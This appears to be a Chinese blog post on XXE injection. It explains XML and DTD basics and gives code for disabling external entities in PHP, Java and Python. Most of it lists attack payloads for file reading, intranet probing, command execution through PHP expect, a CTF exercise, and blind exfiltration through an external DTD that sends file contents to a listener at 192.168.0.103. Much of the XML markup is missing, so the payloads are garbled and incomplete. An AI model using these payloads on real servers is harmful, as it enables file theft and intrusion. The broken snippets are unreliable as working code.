XXE&XML之利用检测绕过

XML

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、
DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据
从 HTML 分离,是独立于软件和硬件的信息传输工具。

XXE

XXE 漏洞
全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发
生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载
恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站
等危害

XML 与 HTML 的主要差异

XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。

DTD

文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明

(2)外部文档声明

DTD 实体

(1)内部实体声明

(2)外部实体声明

(3)参数实体声明

xxe 漏洞修复与防御方案-php,java,python-过滤及禁用

方案 1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案 2-过滤用户提交的 XML 数据

过滤关键词:

一些玩法

读文件


DOCTYPE ANY [

]>
<x>&xxe;x>
#玩法-内网探针或攻击内网应用(触发漏洞地址)

DOCTYPE foo [
<!ELEMENT foo ANY >

]>
<x>&rabbit;x>

RCE

该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令


DOCTYPE ANY [

]>
<x>&xxe;x>
#引入外部实体 dtd

DOCTYPE test [

%file;
]>
<x>&send;x>
evil2.dtd:

无回显-读取文件


DOCTYPE test [


%dtd;
%send;
]>
test.dtd:
% send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

协议-读文件(绕过)

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式(链接好像重置了QAQ)

http://web.jarvisoj.com:9882/
更改请求数据格式:
application/xml

在末尾添加


DOCTYPE ANY [

]>
<x>&f;

xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://www.cnblogs.com/bmjoker/p/9614990.html

你可能感兴趣的:(web安全,信息安全)